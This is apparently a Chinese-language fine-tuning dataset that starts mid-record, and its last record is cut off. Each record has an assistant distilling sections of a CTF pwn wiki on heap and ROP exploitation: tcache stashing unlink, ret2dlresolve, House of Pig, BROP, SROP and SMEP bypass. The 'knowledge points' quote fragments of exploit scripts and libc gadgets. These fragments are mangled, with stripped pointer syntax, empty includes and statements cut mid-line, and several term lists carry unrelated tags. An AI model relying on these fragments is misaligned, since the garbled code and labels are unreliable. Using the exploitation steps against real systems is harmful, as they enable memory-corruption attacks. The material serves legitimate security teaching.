libc 中有这样一个 gadget `` 0x12be97: mov rdx, qword ptr [rdi + 8];\n- mov rax, qword ptr [rdi];\n\n关键术语：\n- 堆\n- ROP/JOP\n- 密码学\n- 漏洞利用\n- pwn\n- sandbox\n- seccomp\n- c-sandbox-escape.md\n\n代码/命令片段线索：\n- plain: 1 行，首行 `0x12be97: mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 354, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "分析", "heading_path": ["C 沙盒逃逸", "orw", "例题", "Balsn_CTF_2019-PlainText", "分析"], "original_id": "docs-83f1a49a6e7fd1904848", "original_line": 1395, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/sandbox/seccomp/c-sandbox-escape.md", "source_root": "docs", "source_sha256": "a7735b09f39c19fa42be147984919d4fed405c06eed3dd271418f9e05c99bb03", "split": "train", "split_group_key": "9a01e21e1ea15c0bbf37e5e6", "subcategory": "pwn/sandbox/seccomp", "terms": ["堆", "ROP/JOP", "密码学", "漏洞利用", "pwn", "sandbox", "seccomp", "c-sandbox-escape.md"], "title": "C 沙盒逃逸"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/sandbox/seccomp/c-sandbox-escape.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-19694bf6c74b341bc89d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「失败」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：define DEFAULT_TOP_PAD 131072 > 申请内存 > 失败\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“失败”展开。\n- ``c else { / If have mmap, try using it as a backup when MORECORE fails or cannot be used.\n- = MAP_FAILED) { / We do not need, and cannot use, another sbrk call to find end / brk = mbrk;\n- This is worth doing on systems that have \"holes\" in address space, so sbrk cannot extend to give contiguous space, but space is available elsewhere.\n- / If we are relying on mmap as backup, then use larger units / if ((unsigned long)(size) < (unsigned long)(MMAP_AS_MORECORE_SIZE)) size = MMAP_AS_MORECORE_SIZE;\n- / Don't try if size wraps around 0 / if ((unsigned long)(size) > (unsigned long)(nb)) { char mbrk = (char )(MMAP(0, size, PROT_READ | PROT_WRITE, 0));\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 32 行，首行 `else {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1204, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "失败", "heading_path": ["define DEFAULT_TOP_PAD 131072", "申请内存", "失败"], "original_id": "docs-b56ad3501b26d0220f8f", "original_line": 1170, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "c9f3a2c774326be6d70f341a", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1973abdbf13081f5abd2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「tcache stashing unlink attack」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`\n标题：tcache makes heap exploitation easy again\n章节：define TCACHE_FILL_COUNT 7 > 0x03 Pwn Tcache > tcache stashing unlink attack\n路径分类：pwn / pwn/linux/user-mode\n分块：1/2\n\n核心知识点：\n- 本节主题围绕“tcache stashing unlink attack”展开。\n- 这种攻击利用的是 tcache bin 有剩余(数量小于 TCACHE_MAX_BINS )时，同大小的small bin会放进tcache中(这种情况可以用 calloc 分配同大小堆块触发，因为 calloc 分配堆块时不从 tcache bin 中选取)。\n- 当攻击者可以写一个small bin的bk指针时，其可以在任意地址上写一个libc地址(类似 unsorted bin attack 的效果)。\n- 模拟 UAF 漏洞修改 bin2->bk 为 fake_chunk ，在 calloc(0x90) 的时候触发攻击。\n- 调用 calloc(size-0x10) 的时候会返回给用户 chunk0 (这是因为 smallbin 的 FIFO 分配机制)，假设 tcache[sz] 中有 5 个空闲堆块，则有足够的位置容纳 chunk1 以及 fake_chunk 。\n- ``c #include  #include  int main(){ unsigned long stack_var[0x10] = {0};\n\n关键术语：\n- UAF\n- 堆\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 54 行，首行 `#include `\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4960, "chunk_count": 2, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "tcache stashing unlink attack", "heading_path": ["define TCACHE_FILL_COUNT 7", "0x03 Pwn Tcache", "tcache stashing unlink attack"], "original_id": "docs-eb9285868534c6aea9ee", "original_line": 1050, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "source_root": "docs", "source_sha256": "37eb8bd9e0addea4340fa8d86115193239ec930263e815b614220939fd397eaa", "split": "train", "split_group_key": "81ef03de0b7d3ee19ad0a5f8", "subcategory": "pwn/linux/user-mode", "terms": ["UAF", "堆", "栈", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "tcache makes heap exploitation easy again"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-19eb39205ac4a2e03779", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「used to make faking data, such relocation, Symbol, Str」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：construct ropchain > used to make faking data, such relocation, Symbol, Str\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“used to make faking data, such relocation, Symbol, Str”展开。\n- buf += rop.dl_resolve_data(bss_base + 20, 'system') buf += rop.fill(100, buf) r.send(buf) r.interactive() `` 关于 dl_resolve_call 与 dl_resolve_data 的具体细节请参考 roputils.py 的源码，比较容易理解。\n- 效果如下 `shell ❯ python roptool.py [+] Starting local process './main_partial_relro_32': pid 24673 [DEBUG] Received 0x17 bytes: 'Welcome to XDCTF2015~!\n- 需要注意的是，dl_resolve 执行完之后也是需要有对应的返回地址的。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 2 行，首行 `关于 dl_resolve_call 与 dl_resolve_data 的具体细节请参考 roputils.py 的源码，比较容易理解。需要注意的是，dl_resolve 执行完之后也是需要有对应的返回地址的。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2097, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "used to make faking data, such relocation, Symbol, Str", "heading_path": ["construct ropchain", "used to make faking data, such relocation, Symbol, Str"], "original_id": "docs-929082713a733f4c91ba", "original_line": 1332, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "a201a1051a591f90b970626b", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1a569d49b3ef985c4c70", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/basic-knowledge/basic-knowledge.md` 中的章节「虚拟化技术简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/basic-knowledge/basic-knowledge.md`\n标题：虚拟化技术简介\n章节：虚拟化技术简介\n路径分类：pwn / pwn/virtualization/basic-knowledge\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“虚拟化技术简介”展开。\n- 利用虚拟化技术，我们可以打破实体结构间不可切割的特性——一份实体资源可以对用户呈现为多份虚拟资源，多份实体资源也可以呈现为一份物理资源。\n- 通过虚拟化技术，我们可以实现资源的动态分配、灵活调度、跨域共享等，从而提高资源的利用率。\n- > > ——《系统虚拟化：原理与实现》 即虚拟化技术的实现其实源自于现代计算机系统自下而上的多层抽象的结构：「每个层次都向上一层次呈现一个抽象，每一层只需要知道下层的抽象接口，而无需了解其内部运作机制」——我们不难想到的是，只要我们能够通过某种方式向上层提供表现相同的抽象接口，在上层看来我们就是正常的该层所提供的资源，从而就实现了对该层的虚拟化。\n- 根据资源的不同，在这两个定语之后我们可以接不同的名词：例如我们将一台物理机器称之为 Host Machine （宿主机），将运行在其上的虚拟机称之为 Guest Machine （客户机）；\n- 操作系统层上的虚拟化：通常指的是操作系统内核可以提供多个互相隔离的用户态实例（通常称之为容器），这些用户态实例对其用户而言就像是一台真实的计算机，有着自己独立的网络、文件系统等（例如 VServer）。\n\n关键术语：\n- 漏洞利用\n- pwn\n- virtualization\n- basic-knowledge\n- basic-knowledge.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1906, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "虚拟化技术简介", "heading_path": ["虚拟化技术简介"], "original_id": "docs-acf71ffa3ea0c6adc39a", "original_line": 1396, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/basic-knowledge.md", "source_root": "docs", "source_sha256": "619fccbfece3102f0009849757825463f93f506d6998632a4ef736e1785d56a8", "split": "train", "split_group_key": "33ed97000ae36c323ad46d25", "subcategory": "pwn/virtualization/basic-knowledge", "terms": ["漏洞利用", "pwn", "virtualization", "basic-knowledge", "basic-knowledge.md"], "title": "虚拟化技术简介"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/basic-knowledge.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1a756cfaeb0bc0766456", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「寻找write@plt」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`\n标题：中级ROP\n章节：中级ROP > BROP > 攻击原理 > Blind ROP > 寻找输出函数 > 寻找write@plt\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“寻找write@plt”展开。\n- 一般情况下，我们有两种方法来找到这个值 - 使用rop chain，同时使得每个rop对应的文件描述符不一样 - 同时打开多个连接，并且我们使用相对较高的数值来试一试。\n- 当我们可以控制write函数的三个参数的时候，我们就可以再次遍历所有的plt表，根据write函数将会输出内容来找到对应的函数。\n- 需要注意的是 - linux默认情况下，一个进程最多只能打开1024个文件描述符。\n- 需要注意的是，这里有个比较麻烦的地方在于我们需要找到文件描述符的值。\n- posix标准每次申请的文件描述符数值总是当前最小可用数值。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 281, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "寻找write@plt", "heading_path": ["中级ROP", "BROP", "攻击原理", "Blind ROP", "寻找输出函数", "寻找write@plt"], "original_id": "docs-4cc05ece3b8a1fb4b2b7", "original_line": 1290, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "source_root": "docs", "source_sha256": "2d11b5635ce2a11d71a4845a96933e353841718735da91048aa864c3d2273a3a", "split": "train", "split_group_key": "ab21d4837680d20a69aebae9", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "中级ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1a7846392b4b5e7093e0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「send resolve data」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：send resolve data\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“send resolve data”展开。\n- rop.raw(bin_sh_addr) rop.raw(resolve_call) rop.raw('a'(256-len(rop.chain()))) io.send(rop.chain()) io.interactive() `` 然而， 简单地运行后发现，程序崩溃了。\n- } ` 我们发现，如果把 l->l_info[VERSYMIDX(DT_VERSYM)] 设置为 NULL，那程序就不会执行下面的代码，版本号就为 NULL，就可以正常执行代码。\n- 估计有点难 - bss 的起始地址为 0x601050，那么索引值最小为 (0x601050-0x400398)/24=87517，即 0x4003f6 + 875172 = 0x42afb0 - bss 可以最大使用的地址为 0x601fff，对应的索引值为(0x601fff-0x400398)/24=87684，即0x4003f6 + 876842 = 0x42b0fe 显然都在非映射的内存区域。\n- 通过阅读 dl_fixup 的代码 `c // 获取符号的版本信息 const struct r_found_version version = NULL;\n- = NULL) { const ElfW(Half) vernum = (const void )D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- ROP/JOP\n- 密码学\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 1 行，首行 `然而， 简单地运行后发现，程序崩溃了。`\n- plain: 4 行，首行 `通过调试，我们发现，程序是在获取对应的版本号`\n- plain: 4 行，首行 `那我们能不能想办法让它位于映射的内存中呢。估计有点难`\n- plain: 6 行，首行 `我们发现，如果把 l->l_info[VERSYMIDX(DT_VERSYM)] 设置为 NULL，那程序就不会执行下面的代码，版本号就为 NULL，就可以正常执行代码。但是，这样的话，我们就需要知道 link_map 的地址了。 G...`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4690, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "send resolve data", "heading_path": ["send resolve data"], "original_id": "docs-ab3bf2897d768894bd40", "original_line": 1353, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "8d5c24ac69c57e1ffab76212", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "ROP/JOP", "密码学", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1ae2b9654058dd803d65", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/race-condition/introduction.md` 中的章节「参考」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/race-condition/introduction.md`\n标题：Race Condition\n章节：参考\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参考”展开。\n- - http://www.teraits.com/pitagoras/marcio/segapp/05.ppt - http://repository.root-me.org/Programmation/C%20-%20C++/EN%20-%20Secure%20Coding%20in%20C%20and%20C++%20Race%20Conditions.pdf - https://www.blackhat.com/presentations/bh-europe-04/bh-eu-04-tsyrklevic...\n\n关键术语：\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- race-condition\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 614, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "参考", "heading_path": ["参考"], "original_id": "docs-e114bef6bbc3433ada3e", "original_line": 1226, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/race-condition/introduction.md", "source_root": "docs", "source_sha256": "338b696bd1c811ec5c9a103ccde2a5b1d14a90b4555ffeaf1644b779b73f85fe", "split": "train", "split_group_key": "adeedfa70b8225900e4e1e2f", "subcategory": "pwn/linux/user-mode", "terms": ["ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "race-condition"], "title": "Race Condition"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/race-condition/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1ae3099b063aa5a9d679", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/bypass-smep.md` 中的章节「0x1407e0 = 101 0 0000 0011 1111 00000」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/bypass-smep.md`\n标题：bypass-smep （已过时）\n章节：0x1407e0 = 101 0 0000 0011 1111 00000\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“0x1407e0 = 101 0 0000 0011 1111 00000”展开。\n- 使用 GDB 调试内核时，我们可以通过 info register cr4 命令查看当前 CPU 的 CR4 寄存器的值以及对应启用的标志位： `shell (gdb) info registers cr4 cr4 0x3006f0 [ SMAP SMEP OSXMMEXCPT OSFXSR PGE MCE PAE PSE ] ``\n\n关键术语：\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n代码/命令片段线索：\n- plain: 2 行，首行 `即可关闭 smep 保护。`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 192, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "0x1407e0 = 101 0 0000 0011 1111 00000", "heading_path": ["0x1407e0 = 101 0 0000 0011 1111 00000"], "original_id": "docs-d967a677a15183c1fd02", "original_line": 798, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/bypass-smep.md", "source_root": "docs", "source_sha256": "69b81f760f7d2f63881ef68284bec9da46903bc954671ec7e3d187e6a84a12fc", "split": "train", "split_group_key": "927008792679b4e2a593c5a2", "subcategory": "pwn/linux/kernel-mode", "terms": ["ROP/JOP", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "bypass-smep （已过时）"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/bypass-smep.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1b3572a71e330bb6bb0c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md` 中的章节「signal机制」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md`\n标题：SROP\n章节：SROP > signal机制\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“signal机制”展开。\n- 文件: figure/signal2-stack.png] 对于signal Frame来说，会因为架构的不同而有所区别，这里给出分别给出x86以及x64的sigcontext - x86 ``c struct sigcontext { unsigned short gs, __gsh;\n- 2. 内核会为该进程保存相应的上下文，主要是将所有寄存器压入栈中，以及压入signal信息，以及指向sigreturn的系统调用地址。\n- 此时栈的结构如下图所示，我们称ucontext以及siginfo这一段为Signal Frame。\n- 一般来说，信号机制常见的步骤如下图所示： [图片: Process of Signal Handlering;\n- 比如说，进程之间可以通过系统调用kill来发送软中断信号。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:c\n\n代码/命令片段线索：\n- c: 25 行，首行 `struct sigcontext`\n- c: 50 行，首行 `struct _fpstate`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2186, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "signal机制", "heading_path": ["SROP", "signal机制"], "original_id": "docs-7c5be92eeb9290d71f93", "original_line": 74, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md", "source_root": "docs", "source_sha256": "be09d01c0a7443a4780110de7f6d46e89cf31a313492e7e6da2a5370dd9dbdd1", "split": "train", "split_group_key": "588111788529ce75103e2a5a", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "pwn", "linux", "user-mode", "stackoverflow", "code:c"], "title": "SROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-1b3d630d76a17d2871a1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md` 中的章节「prepare done」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md`\n标题：House of Pig\n章节：prepare done\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“prepare done”展开。\n- change_rol(1) add_message(0x410,'leak_libc\\n' (0x410 // 48)) # 11 add_message(0x410,'largebin\\n' (0x410 // 48)) # 12 add_message(0x410,'\\n' * (0x410 // 48)) # 13 delete_message(12)\n- change_rol(2) change_rol(1) view_message(12) sh.recvuntil(\"is: \") libc_base = u64(sh.recv(6).ljust(8,'\\x00')) - libc.sym[\"__malloc_hook\"] - 0x10 - 96 view_message(5) sh.recvuntil(\"is: \") heap_base = u64(sh.recv(6).ljust(8,'\\x00')) - 0x12750 log.success(\"lib...\n- change_rol(1) delete_message(14) add_message(0x430,'push\\n' * (0x430 // 48)) # 15\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1262, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "prepare done", "heading_path": ["prepare done"], "original_id": "docs-7aa6db7ea8a83d883242", "original_line": 994, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md", "source_root": "docs", "source_sha256": "ad30bbcb365576fbe52c5fa885a96ce1ee3f7e048f759c291bf7b1aa50921256", "split": "train", "split_group_key": "3c115efb9143130494d93167", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap"], "title": "House of Pig"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-pig.md", "split": "train", "type": 